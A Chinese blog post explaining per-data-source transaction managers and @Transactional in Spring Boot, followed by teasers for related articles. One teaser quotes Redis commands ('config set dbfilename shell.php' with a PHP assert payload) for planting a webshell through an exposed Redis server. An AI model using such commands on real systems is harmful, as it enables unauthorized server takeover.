关于Spring Boot 多数据源的事务管理
自己的一些理解:自从用了Spring Boot 以来,这近乎零配置和“约定大于配置”的设计范式用着确实爽,其实对零配置的理解是:应该说可以是零配置可以跑一个简单的项目,因为Spring Boot 有默认的配置,当默认的配置满足不了你的时候,这时候所谓的零配置只是换了一种方式而已,我们都知道程序员最擅长的就是写代码,相比来说xml文件还是有点蛋疼的; 行啊,Spring Boot说你不是擅长写代码,那我就把配置给你转换为写代码的形式,所以你会发现在Spring Boot 中使用@Configuration 、@SpringBootApplication 、@Bean 来通过将一个配置类标记为配置类进行SessionFactory 等的配置,再配合DataSource 就可以不用xml进行配置。
使用Spring Boot 半年以来,基础的使用掌握的是没啥问题了,一般的异常也拦不住了,但是稍微深一些的还是自己碰到了为难了才会记忆深刻,理解好一些。 比如 多数据源的事务、分布式的事务管理。 这时候就得用点心了。
下面先对Spring Boot 单数据源情况进行简单的介绍。先看下图
Spring Boot本身并不管理事务,只是提供了 PlatformTransactionManager 接口来供持久层实现来达到事务的管理,Spring Boot 默认使用JDBC来控制事务。
在单数据源的情况下我们无需自己管理事务,Spring Boot 默认使用DataSourceTransactionManager 来管理事务,我们所做的只要在程序的service层加上 @Transactional 注解即可使用,这种方式只是适用于单数据源的情况下,但是多数情况下我们都不会只有一个数据源,那么这时候就需要做些工作才能使事务正确的工作了。
第一步:首先我们要为每个数据源创建并指定要使用的事务管理器。也即是在spring boot 的数据源配置类中如下
1 @Bean(name = "entityTx")
2 public DataSourceTransactionManager transactionManager(@Qualifier("entityDataSource") DataSource dataSource) {
3 return new DataSourceTransactionManager(dataSource);
4 }
这里是使用jdbc的事务管理器,将名称为entityDataSource 的数据源通过方法参数通过构造器交给jdbc事务管理器管理。 这里只是一个数据源的示例,分别在另外的数据源中做相同配置,只是注意@Bean 注解的name 值不能一样,方法参数注入的数据源作区别即可。
之后在service层加上 @Transactional的 transactionManager属性或者value属性 指定为对应的事务管理器名称即可,也即是@Bean的naem的值,在@Transactional 注解中 transactionManager 属性和value 属性互为别名。
这样做针对操作同一个数据库用户下的表具备了事务,但是如果需要将不同数据源的操作纳为一个事务中,就需要另外的思路了,因为 DataSourceTransactionManager 事务管理器是不具备这个功能的。这就需要转到我的下一篇文文章,分布式事务管理
链接:https://www.cnblogs.com/qiaoyutao/p/11551045.html
关于Spring Boot 多数据源的事务管理的更多相关文章
- spring boot配置mybatis和事务管理
spring boot配置mybatis和事务管理 一.spring boot与mybatis的配置 1.首先,spring boot 配置mybatis需要的全部依赖如下: <!-- Spri ...
- spring boot快速入门 5: 事务管理
事务管理: 新增两名女生: 第一步:创建 GirlRespository package com.payease.service; import com.payease.entity.Girl; im ...
- (43). Spring Boot动态数据源(多数据源自动切换)【从零开始学Spring Boot】
在上一篇我们介绍了多数据源,但是我们会发现在实际中我们很少直接获取数据源对象进行操作,我们常用的是jdbcTemplate或者是jpa进行操作数据库.那么这一节我们将要介绍怎么进行多数据源动态切换.添 ...
- 事务隔离级别与传播机制,spring+mybatis+atomikos实现分布式事务管理
1.事务的定义:事务是指多个操作单元组成的合集,多个单元操作是整体不可分割的,要么都操作不成功,要么都成功.其必须遵循四个原则(ACID). 原子性(Atomicity):即事务是不可分割的最小工作单 ...
- Spring事务隔离级别与传播机制详解,spring+mybatis+atomikos实现分布式事务管理
原创说明:本文为本人原创作品,绝非他处转载,转账请注明出处 1.事务的定义:事务是指多个操作单元组成的合集,多个单元操作是整体不可分割的,要么都操作不成功,要么都成功.其必须遵循四个原则(ACID). ...
- Spring+JTA+Atomikos+mybatis分布式事务管理
我们平时的工作中用到的Spring事务管理是管理一个数据源的.但是如果对多个数据源进行事务管理该怎么办呢?我们可以用JTA和Atomikos结合Spring来实现一个分布式事务管理的功能.了解JTA可 ...
- Spring 简单而强大的事务管理功能
开始之前 关于本教程 本教程将深入讲解 Spring 简单而强大的事务管理功能,包括编程式事务和声明式事务.通过对本教程的学习,您将能够理解 Spring 事务管理的本质,并灵活运用之. 先决条件 本 ...
- Spring Boot多数据源配置(二)MongoDB
在Spring Boot多数据源配置(一)durid.mysql.jpa 整合中已经讲过了Spring Boot如何配置mysql多数据源.本篇文章讲一下Spring Boot如何配置mongoDB多 ...
- 【Spring Boot】利用 Spring Boot Admin 进行项目监控管理
利用 Spring Boot Admin 进行项目监控管理 一.Spring Boot Admin 是什么 Spring Boot Admin (SBA) 是一个社区开源项目,用于管理和监视 Spri ...
随机推荐
- nc替代ping
linux nc介绍: 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p< ...
- HDOJ-1176(数塔问题变形)
免费陷阱 HDOJ-1176 一开始正向推的时候,一直wa,后来采用逆向推得到正确结果. 初始化的时候dp数组都初始化为0. #include<bits/stdc++.h> using n ...
- redis一句话木马控电脑
(1)在redis管理工具内写入木马并保存: 输入命令行: config set dbfilename shell.php set shell "<?php @assert($_P ...
- JVM笔记 -- JVM的生命周期介绍
Github仓库地址:https://github.com/Damaer/JvmNote 文档地址:https://damaer.github.io/JvmNote/ JVM生命周期 启动 执行 退出 ...
- Java Swing 自定义Dialog确认对话框
Java Swing 自定义Dialog 需求:当点击JFrame窗口的关闭按钮时,弹框询问是否确定关闭窗口,如果是则关闭程序,否就让弹框消失什么也不做(使用Dialog). 分析:虽然Java提供了 ...
- 2018.12-2019.1 TO-DO LIST
AC自动机 P3808 [模板]AC自动机(简单版)(完成时间:2018.12.06) P3796 [模板]AC自动机(加强版)(完成时间:2018.12.06) P2444 [POI2000]病毒( ...
- 官方正式发布 Java 16
前言 就在2021/03/16,官方正式发布了Java 16.我们可以下载使用Java 16了. 特性 向量API(孵化) 在运行期,Vector 表示向量计算可以可靠地编译成支持CPU架构上的最佳矢 ...
- 前端-CS-04
一:DOM(文档对象模型) document 简写DOM 1.DOM中定义变量用 var 如下截图中:定义demo变量 2.取一个input输入框中的值的方法: 1)先如1中,在dom中顶一个一个变 ...
- springMVC:校验框架:多规则校验,嵌套校验,分组校验;ssm整合技术
知识点梳理 课堂讲义 学习目标 能够阐述表单验证的分类和区别 能够运用表单验证的常用注解 能够编写表单验证的示例 能够编写SSM整合的应用案例 能够总结SSM整合的步骤 1 校验框架 1.1 入门-视 ...
- pwn题命令行解题脚本
目录 脚本说明 脚本内容 使用 使用示例 参考与引用 脚本说明 这是专门为本地调试与远程答题准备的脚本,依靠命令行参数进行控制. 本脚本支持的功能有: 本地调试 开启tmux调试 设置gdb断点,支持 ...